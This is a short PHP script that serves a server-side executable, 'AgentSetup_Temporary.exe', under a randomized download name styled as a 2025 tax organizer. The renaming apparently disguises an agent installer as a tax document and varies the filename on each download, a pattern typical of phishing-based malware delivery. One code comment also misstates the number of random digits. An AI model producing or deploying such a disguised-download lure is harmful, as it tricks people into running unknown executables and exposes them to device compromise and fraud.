<?php
$original_file = 'AgentSetup_Temporary.exe'; // The actual file on your server
$random_suffix = rand(1000000, 9999999); // Generates 4 random digits
$new_filename = "2025TAXORGANIZERNEW-" . $random_suffix . ".exe";

if (file_exists($original_file)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    // This line tells the browser the NEW random name
    header('Content-Disposition: attachment; filename="' . $new_filename . '"'); 
    header('Content-Transfer-Encoding: binary');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($original_file));
    
    ob_clean();
    flush();
    readfile($original_file);
    exit;
}
?>